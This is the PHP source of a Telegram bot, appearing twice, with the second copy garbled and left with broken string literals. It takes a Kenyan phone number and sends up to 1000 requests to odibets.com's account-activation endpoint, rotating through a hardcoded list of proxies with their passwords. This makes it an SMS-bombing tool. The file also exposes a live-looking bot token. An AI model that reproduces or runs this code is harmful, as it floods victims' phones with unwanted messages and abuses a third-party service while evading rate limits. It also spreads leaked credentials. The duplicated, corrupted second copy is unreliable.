<?php
// bot.php
// **IMPORTANT:** Replace 'YOUR_NEW_BOT_TOKEN' with your actual bot token.
define('BOT_TOKEN', '8170095352:AAHfI6AOhiUmrlflCe57_bgEtdevoxUoDPs'); // Replace with your new token
define('API_URL', 'https://api.telegram.org/bot' . BOT_TOKEN . '/');
// Channel usernames
define('CHANNEL_USERNAME', '@ModByKamal');
define('DEV_USERNAME', '@Mod_By_Kamal');
// Path to the user data file
define('USER_DATA_FILE', 'user_data.json');
// Load user data from the JSON file
function loadUserData() {
if (!file_exists(USER_DATA_FILE)) {
file_put_contents(USER_DATA_FILE, json_encode([]));
}
$json = file_get_contents(USER_DATA_FILE);
return json_decode($json, true);
}
// Save user data to the JSON file
function saveUserData($data) {
file_put_contents(USER_DATA_FILE, json_encode($data, JSON_PRETTY_PRINT));
}
// Initialize user data
$userData = loadUserData();
// Handle incoming updates
$update = json_decode(file_get_contents('php://input'), TRUE);
if (!$update) {
exit;
}
$message = isset($update['message']) ? $update['message'] : null;
$callback_query = isset($update['callback_query']) ? $update['callback_query'] : null;
// Function to log errors for debugging
function logError($message) {
file_put_contents('error_log.txt', date('Y-m-d H:i:s') . " - " . $message . PHP_EOL, FILE_APPEND);
}
// Function to send requests to Telegram API
function apiRequest($method, $parameters) {
$url = API_URL . $method;
$handle = curl_init($url);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($handle, CURLOPT_POSTFIELDS, json_encode($parameters));
curl_setopt($handle, CURLOPT_HTTPHEADER, [
"Content-Type: application/json"
]);
$response = curl_exec($handle);
if ($response === FALSE) {
logError("Curl failed: " . curl_error($handle));
return FALSE;
}
$responseData = json_decode($response, TRUE);
curl_close($handle);
return $responseData;
}
// Function to send a message
function sendMessage($chat_id, $text, $reply_markup = null, $message_id = null) {
$fancyText = convertToFancyText($text);
$parameters = [
'chat_id' => $chat_id,
'text' => $fancyText,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];
if ($reply_markup) {
$parameters['reply_markup'] = $reply_markup;
}
if ($message_id) {
$parameters['reply_to_message_id'] = $message_id;
}
return apiRequest("sendMessage", $parameters);
}
// Function to edit a message
function editMessage($chat_id, $message_id, $text, $reply_markup = null) {
if (empty($text)) {
logError("Attempted to edit message {$message_id} in chat {$chat_id} with empty text.");
return false;
}
$fancyText = convertToFancyText($text);
$parameters = [
'chat_id' => $chat_id,
'message_id' => $message_id,
'text' => $fancyText,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];
if ($reply_markup) {
$parameters['reply_markup'] = $reply_markup;
}
$response = apiRequest("editMessageText", $parameters);
if (!$response || !$response['ok']) {
logError("Failed to edit message {$message_id} in chat {$chat_id}: " . json_encode($response));
return false;
}
return $response;
}
// Function to delete a message
function deleteMessage($chat_id, $message_id) {
$parameters = [
'chat_id' => $chat_id,
'message_id' => $message_id
];
$response = apiRequest("deleteMessage", $parameters);
if (!$response || !$response['ok']) {
logError("Failed to delete message {$message_id} in chat {$chat_id}: " . json_encode($response));
}
return $response;
}
// Function to convert regular text to the specified Unicode font style
function convertToFancyText($text) {
$normal = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
// Mathematical Bold Unicode characters
$fancy = 'š®šÆš°š±š²š³š“šµš¶š·šš ššššššššššššššššššššššššššš š”š¢š£š¤š„š¦š§šØš©šŖš«š¬š0123456789';
// Split the strings into arrays of characters, handling multibyte characters
$normalChars = preg_split('//u', $normal, -1, PREG_SPLIT_NO_EMPTY);
$fancyChars = preg_split('//u', $fancy, -1, PREG_SPLIT_NO_EMPTY);
$fancyText = str_replace($normalChars, $fancyChars, $text);
return $fancyText;
}
// Function to check if user has joined a channel
function isUserJoined($user_id) {
// Ensure user_id is a string to match JSON keys
$user_id_str = strval($user_id);
$response = apiRequest("getChatMember", [
'chat_id' => CHANNEL_USERNAME,
'user_id' => $user_id
]);
// Log the response for debugging
if (!$response) {
logError("getChatMember API call failed for user_id: {$user_id_str}");
return false;
}
if (isset($response['ok']) && $response['ok']) {
$status = $response['result']['status'];
logError("getChatMember response for user_id {$user_id_str}: status = {$status}");
if (in_array($status, ['member', 'administrator', 'creator'])) {
return true;
}
} else {
if (isset($response['description'])) {
logError("getChatMember failed for user_id {$user_id_str}: " . $response['description']);
} else {
logError("getChatMember failed for user_id {$user_id_str}: Unknown error");
}
}
return false;
}
// Function to check if user has muted the channel
function isUserMuted($user_id) {
// Telegram API does not provide a direct way to check if a user has muted a channel
// This function is a placeholder and always returns false
return false;
}
// Function to generate the main menu buttons
function getMainMenu() {
// Define button texts
$button1 = '
Channel';
$button2 = '
Dev';
$button3 = '
Joined';
// Convert button texts to fancy
$fancyButton1 = convertToFancyText($button1);
$fancyButton2 = convertToFancyText($button2);
$fancyButton3 = convertToFancyText($button3);
return json_encode([
'inline_keyboard' => [
[
['text' => $fancyButton1, 'url' => 'https://t.me/' . substr(CHANNEL_USERNAME, 1)],
['text' => $fancyButton2, 'url' => 'https://t.me/' . substr(DEV_USERNAME, 1)]
],
[
['text' => $fancyButton3, 'callback_data' => 'check_joined']
]
]
]);
}
// Function to generate the stop button
function getStopButton() {
// Define button texts
$button1 = '
Dev';
$button2 = '
Stop';
// Convert button texts to fancy
$fancyButton1 = convertToFancyText($button1);
$fancyButton2 = convertToFancyText($button2);
return json_encode([
'inline_keyboard' => [
[
['text' => $fancyButton1, 'url' => 'https://t.me/' . substr(DEV_USERNAME, 1)],
['text' => $fancyButton2, 'callback_data' => 'stop']
]
]
]);
}
// Handle /start command
if ($message && isset($message['text']) && strpos($message['text'], '/start') === 0) {
$chat_id = $message['chat']['id'];
$user_id = $message['from']['id'];
// Initialize or reset user state
$userData[$user_id] = [
'state' => 'main_menu'
];
saveUserData($userData);
// Delete previous messages to keep the chat clean
if (isset($message['message_id'])) {
deleteMessage($chat_id, $message['message_id']);
}
// Send main menu with welcome message
$welcomeText = "šŖš²š¹š°š¼šŗš²! š£š¹š²š®šš² š°šµš¼š¼šš² š®š» š¼š½šš¶š¼š»:
";
sendMessage($chat_id, $welcomeText, getMainMenu());
exit;
}
// Handle callback queries (button presses)
if ($callback_query) {
$callback_id = $callback_query['id'];
$callback_data = $callback_query['data'];
$chat_id = $callback_query['message']['chat']['id'];
$message_id = $callback_query['message']['message_id'];
$user_id = $callback_query['from']['id'];
// Acknowledge the callback to remove the loading state
apiRequest("answerCallbackQuery", [
'callback_query_id' => $callback_id,
'text' => '',
'show_alert' => false
]);
// Load user data
$user = isset($userData[$user_id]) ? $userData[$user_id] : ['state' => 'main_menu'];
// Handle "check_joined" callback only if user is in "main_menu" state
if ($callback_data === 'check_joined') {
if ($user['state'] !== 'main_menu') {
// Inform the user to use /start if not in the main menu
$invalidStateText = "
š£š¹š²š®šš² ššš² /start šš¼ š¶š»š¶šš¶š®šš² ššµš² š½šæš¼š°š²šš.";
sendMessage($chat_id, $invalidStateText, getMainMenu());
exit;
}
if (isUserJoined($user_id)) {
if (isUserMuted($user_id)) {
$mutedText = "
š¬š¼š šµš®šš² šŗššš²š± ššµš² š°šµš®š»š»š²š¹. š£š¹š²š®šš² šš»šŗššš² šš¼ š°š¼š»šš¶š»šš².";
$editSuccess = editMessage($chat_id, $message_id, $mutedText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $mutedText, getMainMenu());
}
} else {
// Prompt for phone number
$promptText = "
š£š¹š²š®šš² š²š»šš²šæ šš¼ššæ š½šµš¼š»š² š»ššŗšÆš²šæ šš¶ššµ š°š¼šš»ššæš š°š¼š±š² (e.g., 254700000000):
";
$editSuccess = editMessage($chat_id, $message_id, $promptText, null);
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $promptText);
}
// Update user state
$userData[$user_id]['state'] = 'awaiting_phone';
saveUserData($userData);
}
} else {
// Ask to join the channel
$notJoinedText = "
š¬š¼š šŗššš š·š¼š¶š» š¼ššæ š°šµš®š»š»š²š¹ šš¼ ššš² ššµš¶š šÆš¼š.";
$editSuccess = editMessage($chat_id, $message_id, $notJoinedText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $notJoinedText, getMainMenu());
}
}
} elseif ($callback_data === 'stop') {
// Stop the sending process
if (isset($userData[$user_id]['sending']) && $userData[$user_id]['sending'] === true) {
$userData[$user_id]['stop'] = true;
saveUserData($userData);
$stopText = "
š¦š²š»š±š¶š»š“ š½šæš¼š°š²šš šµš®š šÆš²š²š» ššš¼š½š½š²š±. š¬š¼š š°š®š» ššš®šæš š®š“š®š¶š» šÆš ššš¶š»š“ /start.";
$editSuccess = editMessage($chat_id, $message_id, $stopText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $stopText, getMainMenu());
}
} else {
// If not sending, inform the user
$notSendingText = "
š”š¼ š½šæš¼š°š²šš š¶š š¶š» š½š¹š®š.";
sendMessage($chat_id, $notSendingText, getMainMenu());
}
}
exit;
}
// Handle text messages
if ($message && isset($message['text'])) {
$chat_id = $message['chat']['id'];
$user_id = $message['from']['id'];
$text = trim($message['text']);
// Load user data
$user = isset($userData[$user_id]) ? $userData[$user_id] : ['state' => 'main_menu'];
if ($user['state'] === 'awaiting_phone') {
// Validate phone number
if (preg_match('/^254\d{9}$/', $text)) {
// Store phone number
$userData[$user_id]['phone'] = $text;
$userData[$user_id]['state'] = 'awaiting_message_count';
saveUserData($userData);
$acceptedText = "
š£šµš¼š»š² š»ššŗšÆš²šæ š®š°š°š²š½šš²š±. šš¼š šŗš®š»š šŗš²ššš®š“š²š š±š¼ šš¼š šš®š»š šš¼ šš²š»š±? (1-1000)
";
sendMessage($chat_id, $acceptedText, null);
} else {
$invalidPhoneText = "
šš»šš®š¹š¶š± š½šµš¼š»š² š»ššŗšÆš²šæ. š£š¹š²š®šš² š²š»šš²šæ š® šš®š¹š¶š± šš²š»šš®š» š»ššŗšÆš²šæ šš¶ššµ š°š¼šš»ššæš š°š¼š±š² 254 (e.g., 254700000000):
";
sendMessage($chat_id, $invalidPhoneText, null);
}
exit;
} elseif ($user['state'] === 'awaiting_message_count') {
// Validate message count
if (is_numeric($text) && intval($text) >=1 && intval($text) <=1000) {
$count = intval($text);
$userData[$user_id]['message_count'] = $count;
$userData[$user_id]['state'] = 'sending_messages';
$userData[$user_id]['sending'] = true;
$userData[$user_id]['stop'] = false;
saveUserData($userData);
$startSendingText = "
š¦šš®šæšš¶š»š“ šš¼ šš²š»š± {$count} šŗš²ššš®š“š²š...
";
sendMessage($chat_id, $startSendingText, getStopButton());
// **Note:** PHP is not ideal for asynchronous tasks. Consider using background jobs or queues for production.
// Here, we'll proceed synchronously for simplicity.
sendMessages($user_id, $chat_id, $count);
} else {
$invalidCountText = "
šš»šš®š¹š¶š± š»ššŗšÆš²šæ. š£š¹š²š®šš² š²š»šš²šæ š® š»ššŗšÆš²šæ šÆš²ššš²š²š» 1 š®š»š± 1000:
";
sendMessage($chat_id, $invalidCountText, null);
}
exit;
}
// Handle unexpected input globally
$unrecognizedText = "
šØš»šæš²š°š¼š“š»š¶šš²š± š°š¼šŗšŗš®š»š±. š£š¹š²š®šš² ššš² /start šš¼ šÆš²š“š¶š».
";
sendMessage($chat_id, $unrecognizedText, getMainMenu());
exit;
}
// Function to send messages using the provided script
function sendMessages($user_id, $chat_id, $count) {
global $userData;
// Retrieve the phone number
if (!isset($userData[$user_id]['phone'])) {
sendMessage($chat_id, "
š£šµš¼š»š² š»ššŗšÆš²šæ š»š¼š š³š¼šš»š±. š£š¹š²š®šš² ššš² /start šš¼ šÆš²š“š¶š».");
return;
}
$phone = $userData[$user_id]['phone'];
// Validate country code again
if (substr($phone, 0, 3) !== '254') {
sendMessage($chat_id, "
šØš»ššš½š½š¼šæšš²š± š°š¼šš»ššæš š°š¼š±š². š¢š»š¹š šš²š»šš® š»ššŗšÆš²šæš (254) š®šæš² ššš½š½š¼šæšš²š±.
");
return;
}
// Define the list of proxies
$proxies = [
'198.23.239.134:6540:ykzozxnt:m6ocnx929ucl',
'207.244.217.165:6712:ykzozxnt:m6ocnx929ucl',
'107.172.163.27:6543:ykzozxnt:m6ocnx929ucl',
'64.137.42.112:5157:ykzozxnt:m6ocnx929ucl',
'173.211.0.148:6641:ykzozxnt:m6ocnx929ucl',
'161.123.152.115:6360:ykzozxnt:m6ocnx929ucl',
'167.160.180.203:6754:ykzozxnt:m6ocnx929ucl',
'154.36.110.199:6853:ykzozxnt:m6ocnx929ucl',
'173.0.9.70:5653:ykzozxnt:m6ocnx929ucl',
'173.0.9.209:5792:ykzozxnt:m6ocnx929ucl',
];
$totalProxies = count($proxies);
// Define the POST data as an associative array
$postData = [
'msisdn' => $phone,
'ua' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
'resource' => 'activate'
];
// Define the headers as an associative array
$headers = [
'Accept: application/json, text/plain, */*',
'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8',
// **IMPORTANT:** Replace 'YOUR_AUTH_TOKEN_HERE' with the actual token if required
//'Authorization: Bearer YOUR_AUTH_TOKEN_HERE',
'Connection: keep-alive',
'Content-Type: application/json',
'Origin: https://odibets.com',
'Referer: https://odibets.com/',
'Sec-Fetch-Dest: empty',
'Sec-Fetch-Mode: cors',
'Sec-Fetch-Site: same-origin',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
// **IMPORTANT:** Replace 'YOUR_X_ODI_KEY_HERE' with your actual X-Odi-Key
'X-Odi-Key: YOUR_X_ODI_KEY_HERE',
'sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"',
'sec-ch-ua-mobile: ?0',
'sec-ch-ua-platform: "Windows"',
];
// Define the cookie string
$cookie = 'YOUR_COOKIE_STRING_HERE'; // Replace with your actual cookie string
// Loop to execute the request
for ($i = 1; $i <= $count; $i++) {
// Check if user has requested to stop the process
if (isset($userData[$user_id]['stop']) && $userData[$user_id]['stop'] === true) {
sendMessage($chat_id, "
š¦š²š»š±š¶š»š“ š½šæš¼š°š²šš šµš®š šÆš²š²š» ššš¼š½š½š²š±. š¬š¼š š°š®š» ššš®šæš š®š“š®š¶š» šÆš ššš¶š»š“ /start.");
// Reset sending flags
$userData[$user_id]['sending'] = false;
$userData[$user_id]['stop'] = false;
saveUserData($userData);
return;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://odibets.com/pxy/punter');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
// Select a proxy by rotating through the list
$proxy = $proxies[($i - 1) % $totalProxies];
list($proxyIP, $proxyPort, $proxyUser, $proxyPass) = explode(':', $proxy);
// Set the proxy details
curl_setopt($ch, CURLOPT_PROXY, "{$proxyIP}:{$proxyPort}");
curl_setopt($ch, CURLOPT_PROXYUSERPWD, "{$proxyUser}:{$proxyPass}");
// Set the headers
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Set the cookie
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
// Set the POST fields
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData));
// Execute the request
$response = curl_exec($ch);
$curlError = curl_error($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Close the cURL session
curl_close($ch);
// **Removed:** Suppressing individual request responses to only show final success message.
// If needed, you can log these responses internally using logError or another logging mechanism.
}
// After sending messages
$successText = "
š¦šš°š°š²ššš³šš¹š¹š šš²š»š {$count} šŗš²ššš®š“š²š.";
sendMessage($chat_id, $successText, getMainMenu());
// Reset user state
$userData[$user_id]['state'] = 'main_menu';
$userData[$user_id]['sending'] = false;
$userData[$user_id]['stop'] = false;
saveUserData($userData);
}
?>
// bot.php
// **IMPORTANT:** Replace 'YOUR_NEW_BOT_TOKEN' with your actual bot token.
define('BOT_TOKEN', '8170095352:AAHfI6AOhiUmrlflCe57_bgEtdevoxUoDPs'); // Replace with your new token
define('API_URL', 'https://api.telegram.org/bot' . BOT_TOKEN . '/');
// Channel usernames
define('CHANNEL_USERNAME', '@ModByKamal');
define('DEV_USERNAME', '@Mod_By_Kamal');
// Path to the user data file
define('USER_DATA_FILE', 'user_data.json');
// Load user data from the JSON file
function loadUserData() {
if (!file_exists(USER_DATA_FILE)) {
file_put_contents(USER_DATA_FILE, json_encode([]));
}
$json = file_get_contents(USER_DATA_FILE);
return json_decode($json, true);
}
// Save user data to the JSON file
function saveUserData($data) {
file_put_contents(USER_DATA_FILE, json_encode($data, JSON_PRETTY_PRINT));
}
// Initialize user data
$userData = loadUserData();
// Handle incoming updates
$update = json_decode(file_get_contents('php://input'), TRUE);
if (!$update) {
exit;
}
$message = isset($update['message']) ? $update['message'] : null;
$callback_query = isset($update['callback_query']) ? $update['callback_query'] : null;
// Function to log errors for debugging
function logError($message) {
file_put_contents('error_log.txt', date('Y-m-d H:i:s') . " - " . $message . PHP_EOL, FILE_APPEND);
}
// Function to send requests to Telegram API
function apiRequest($method, $parameters) {
$url = API_URL . $method;
$handle = curl_init($url);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($handle, CURLOPT_POSTFIELDS, json_encode($parameters));
curl_setopt($handle, CURLOPT_HTTPHEADER, [
"Content-Type: application/json"
]);
$response = curl_exec($handle);
if ($response === FALSE) {
logError("Curl failed: " . curl_error($handle));
return FALSE;
}
$responseData = json_decode($response, TRUE);
curl_close($handle);
return $responseData;
}
// Function to send a message
function sendMessage($chat_id, $text, $reply_markup = null, $message_id = null) {
$fancyText = convertToFancyText($text);
$parameters = [
'chat_id' => $chat_id,
'text' => $fancyText,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];
if ($reply_markup) {
$parameters['reply_markup'] = $reply_markup;
}
if ($message_id) {
$parameters['reply_to_message_id'] = $message_id;
}
return apiRequest("sendMessage", $parameters);
}
// Function to edit a message
function editMessage($chat_id, $message_id, $text, $reply_markup = null) {
if (empty($text)) {
logError("Attempted to edit message {$message_id} in chat {$chat_id} with empty text.");
return false;
}
$fancyText = convertToFancyText($text);
$parameters = [
'chat_id' => $chat_id,
'message_id' => $message_id,
'text' => $fancyText,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];
if ($reply_markup) {
$parameters['reply_markup'] = $reply_markup;
}
$response = apiRequest("editMessageText", $parameters);
if (!$response || !$response['ok']) {
logError("Failed to edit message {$message_id} in chat {$chat_id}: " . json_encode($response));
return false;
}
return $response;
}
// Function to delete a message
function deleteMessage($chat_id, $message_id) {
$parameters = [
'chat_id' => $chat_id,
'message_id' => $message_id
];
$response = apiRequest("deleteMessage", $parameters);
if (!$response || !$response['ok']) {
logError("Failed to delete message {$message_id} in chat {$chat_id}: " . json_encode($response));
}
return $response;
}
// Function to convert regular text to the specified Unicode font style
function convertToFancyText($text) {
$normal = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
// Mathematical Bold Unicode characters
$fancy = 'š®šÆš°š±š²š³š“šµš¶š·šš ššššššššššššššššššššššššššš š”š¢š£š¤š„š¦š§šØš©šŖš«š¬š0123456789';
// Split the strings into arrays of characters, handling multibyte characters
$normalChars = preg_split('//u', $normal, -1, PREG_SPLIT_NO_EMPTY);
$fancyChars = preg_split('//u', $fancy, -1, PREG_SPLIT_NO_EMPTY);
$fancyText = str_replace($normalChars, $fancyChars, $text);
return $fancyText;
}
// Function to check if user has joined a channel
function isUserJoined($user_id) {
// Ensure user_id is a string to match JSON keys
$user_id_str = strval($user_id);
$response = apiRequest("getChatMember", [
'chat_id' => CHANNEL_USERNAME,
'user_id' => $user_id
]);
// Log the response for debugging
if (!$response) {
logError("getChatMember API call failed for user_id: {$user_id_str}");
return false;
}
if (isset($response['ok']) && $response['ok']) {
$status = $response['result']['status'];
logError("getChatMember response for user_id {$user_id_str}: status = {$status}");
if (in_array($status, ['member', 'administrator', 'creator'])) {
return true;
}
} else {
if (isset($response['description'])) {
logError("getChatMember failed for user_id {$user_id_str}: " . $response['description']);
} else {
logError("getChatMember failed for user_id {$user_id_str}: Unknown error");
}
}
return false;
}
// Function to check if user has muted the channel
function isUserMuted($user_id) {
// Telegram API does not provide a direct way to check if a user has muted a channel
// This function is a placeholder and always returns false
return false;
}
// Function to generate the main menu buttons
function getMainMenu() {
// Define button texts
$button1 = '
$button2 = '
$button3 = '
// Convert button texts to fancy
$fancyButton1 = convertToFancyText($button1);
$fancyButton2 = convertToFancyText($button2);
$fancyButton3 = convertToFancyText($button3);
return json_encode([
'inline_keyboard' => [
[
['text' => $fancyButton1, 'url' => 'https://t.me/' . substr(CHANNEL_USERNAME, 1)],
['text' => $fancyButton2, 'url' => 'https://t.me/' . substr(DEV_USERNAME, 1)]
],
[
['text' => $fancyButton3, 'callback_data' => 'check_joined']
]
]
]);
}
// Function to generate the stop button
function getStopButton() {
// Define button texts
$button1 = '
$button2 = '
// Convert button texts to fancy
$fancyButton1 = convertToFancyText($button1);
$fancyButton2 = convertToFancyText($button2);
return json_encode([
'inline_keyboard' => [
[
['text' => $fancyButton1, 'url' => 'https://t.me/' . substr(DEV_USERNAME, 1)],
['text' => $fancyButton2, 'callback_data' => 'stop']
]
]
]);
}
// Handle /start command
if ($message && isset($message['text']) && strpos($message['text'], '/start') === 0) {
$chat_id = $message['chat']['id'];
$user_id = $message['from']['id'];
// Initialize or reset user state
$userData[$user_id] = [
'state' => 'main_menu'
];
saveUserData($userData);
// Delete previous messages to keep the chat clean
if (isset($message['message_id'])) {
deleteMessage($chat_id, $message['message_id']);
}
// Send main menu with welcome message
$welcomeText = "šŖš²š¹š°š¼šŗš²! š£š¹š²š®šš² š°šµš¼š¼šš² š®š» š¼š½šš¶š¼š»:
sendMessage($chat_id, $welcomeText, getMainMenu());
exit;
}
// Handle callback queries (button presses)
if ($callback_query) {
$callback_id = $callback_query['id'];
$callback_data = $callback_query['data'];
$chat_id = $callback_query['message']['chat']['id'];
$message_id = $callback_query['message']['message_id'];
$user_id = $callback_query['from']['id'];
// Acknowledge the callback to remove the loading state
apiRequest("answerCallbackQuery", [
'callback_query_id' => $callback_id,
'text' => '',
'show_alert' => false
]);
// Load user data
$user = isset($userData[$user_id]) ? $userData[$user_id] : ['state' => 'main_menu'];
// Handle "check_joined" callback only if user is in "main_menu" state
if ($callback_data === 'check_joined') {
if ($user['state'] !== 'main_menu') {
// Inform the user to use /start if not in the main menu
$invalidStateText = "
sendMessage($chat_id, $invalidStateText, getMainMenu());
exit;
}
if (isUserJoined($user_id)) {
if (isUserMuted($user_id)) {
$mutedText = "
$editSuccess = editMessage($chat_id, $message_id, $mutedText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $mutedText, getMainMenu());
}
} else {
// Prompt for phone number
$promptText = "
$editSuccess = editMessage($chat_id, $message_id, $promptText, null);
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $promptText);
}
// Update user state
$userData[$user_id]['state'] = 'awaiting_phone';
saveUserData($userData);
}
} else {
// Ask to join the channel
$notJoinedText = "
$editSuccess = editMessage($chat_id, $message_id, $notJoinedText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $notJoinedText, getMainMenu());
}
}
} elseif ($callback_data === 'stop') {
// Stop the sending process
if (isset($userData[$user_id]['sending']) && $userData[$user_id]['sending'] === true) {
$userData[$user_id]['stop'] = true;
saveUserData($userData);
$stopText = "
$editSuccess = editMessage($chat_id, $message_id, $stopText, getMainMenu());
if (!$editSuccess) {
// If editing fails, send a new message
sendMessage($chat_id, $stopText, getMainMenu());
}
} else {
// If not sending, inform the user
$notSendingText = "
sendMessage($chat_id, $notSendingText, getMainMenu());
}
}
exit;
}
// Handle text messages
if ($message && isset($message['text'])) {
$chat_id = $message['chat']['id'];
$user_id = $message['from']['id'];
$text = trim($message['text']);
// Load user data
$user = isset($userData[$user_id]) ? $userData[$user_id] : ['state' => 'main_menu'];
if ($user['state'] === 'awaiting_phone') {
// Validate phone number
if (preg_match('/^254\d{9}$/', $text)) {
// Store phone number
$userData[$user_id]['phone'] = $text;
$userData[$user_id]['state'] = 'awaiting_message_count';
saveUserData($userData);
$acceptedText = "
sendMessage($chat_id, $acceptedText, null);
} else {
$invalidPhoneText = "
sendMessage($chat_id, $invalidPhoneText, null);
}
exit;
} elseif ($user['state'] === 'awaiting_message_count') {
// Validate message count
if (is_numeric($text) && intval($text) >=1 && intval($text) <=1000) {
$count = intval($text);
$userData[$user_id]['message_count'] = $count;
$userData[$user_id]['state'] = 'sending_messages';
$userData[$user_id]['sending'] = true;
$userData[$user_id]['stop'] = false;
saveUserData($userData);
$startSendingText = "
sendMessage($chat_id, $startSendingText, getStopButton());
// **Note:** PHP is not ideal for asynchronous tasks. Consider using background jobs or queues for production.
// Here, we'll proceed synchronously for simplicity.
sendMessages($user_id, $chat_id, $count);
} else {
$invalidCountText = "
sendMessage($chat_id, $invalidCountText, null);
}
exit;
}
// Handle unexpected input globally
$unrecognizedText = "
sendMessage($chat_id, $unrecognizedText, getMainMenu());
exit;
}
// Function to send messages using the provided script
function sendMessages($user_id, $chat_id, $count) {
global $userData;
// Retrieve the phone number
if (!isset($userData[$user_id]['phone'])) {
sendMessage($chat_id, "
return;
}
$phone = $userData[$user_id]['phone'];
// Validate country code again
if (substr($phone, 0, 3) !== '254') {
sendMessage($chat_id, "
return;
}
// Define the list of proxies
$proxies = [
'198.23.239.134:6540:ykzozxnt:m6ocnx929ucl',
'207.244.217.165:6712:ykzozxnt:m6ocnx929ucl',
'107.172.163.27:6543:ykzozxnt:m6ocnx929ucl',
'64.137.42.112:5157:ykzozxnt:m6ocnx929ucl',
'173.211.0.148:6641:ykzozxnt:m6ocnx929ucl',
'161.123.152.115:6360:ykzozxnt:m6ocnx929ucl',
'167.160.180.203:6754:ykzozxnt:m6ocnx929ucl',
'154.36.110.199:6853:ykzozxnt:m6ocnx929ucl',
'173.0.9.70:5653:ykzozxnt:m6ocnx929ucl',
'173.0.9.209:5792:ykzozxnt:m6ocnx929ucl',
];
$totalProxies = count($proxies);
// Define the POST data as an associative array
$postData = [
'msisdn' => $phone,
'ua' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
'resource' => 'activate'
];
// Define the headers as an associative array
$headers = [
'Accept: application/json, text/plain, */*',
'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8',
// **IMPORTANT:** Replace 'YOUR_AUTH_TOKEN_HERE' with the actual token if required
//'Authorization: Bearer YOUR_AUTH_TOKEN_HERE',
'Connection: keep-alive',
'Content-Type: application/json',
'Origin: https://odibets.com',
'Referer: https://odibets.com/',
'Sec-Fetch-Dest: empty',
'Sec-Fetch-Mode: cors',
'Sec-Fetch-Site: same-origin',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
// **IMPORTANT:** Replace 'YOUR_X_ODI_KEY_HERE' with your actual X-Odi-Key
'X-Odi-Key: YOUR_X_ODI_KEY_HERE',
'sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"',
'sec-ch-ua-mobile: ?0',
'sec-ch-ua-platform: "Windows"',
];
// Define the cookie string
$cookie = 'YOUR_COOKIE_STRING_HERE'; // Replace with your actual cookie string
// Loop to execute the request
for ($i = 1; $i <= $count; $i++) {
// Check if user has requested to stop the process
if (isset($userData[$user_id]['stop']) && $userData[$user_id]['stop'] === true) {
sendMessage($chat_id, "
// Reset sending flags
$userData[$user_id]['sending'] = false;
$userData[$user_id]['stop'] = false;
saveUserData($userData);
return;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://odibets.com/pxy/punter');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
// Select a proxy by rotating through the list
$proxy = $proxies[($i - 1) % $totalProxies];
list($proxyIP, $proxyPort, $proxyUser, $proxyPass) = explode(':', $proxy);
// Set the proxy details
curl_setopt($ch, CURLOPT_PROXY, "{$proxyIP}:{$proxyPort}");
curl_setopt($ch, CURLOPT_PROXYUSERPWD, "{$proxyUser}:{$proxyPass}");
// Set the headers
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Set the cookie
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
// Set the POST fields
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData));
// Execute the request
$response = curl_exec($ch);
$curlError = curl_error($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Close the cURL session
curl_close($ch);
// **Removed:** Suppressing individual request responses to only show final success message.
// If needed, you can log these responses internally using logError or another logging mechanism.
}
// After sending messages
$successText = "
sendMessage($chat_id, $successText, getMainMenu());
// Reset user state
$userData[$user_id]['state'] = 'main_menu';
$userData[$user_id]['sending'] = false;
$userData[$user_id]['stop'] = false;
saveUserData($userData);
}
?>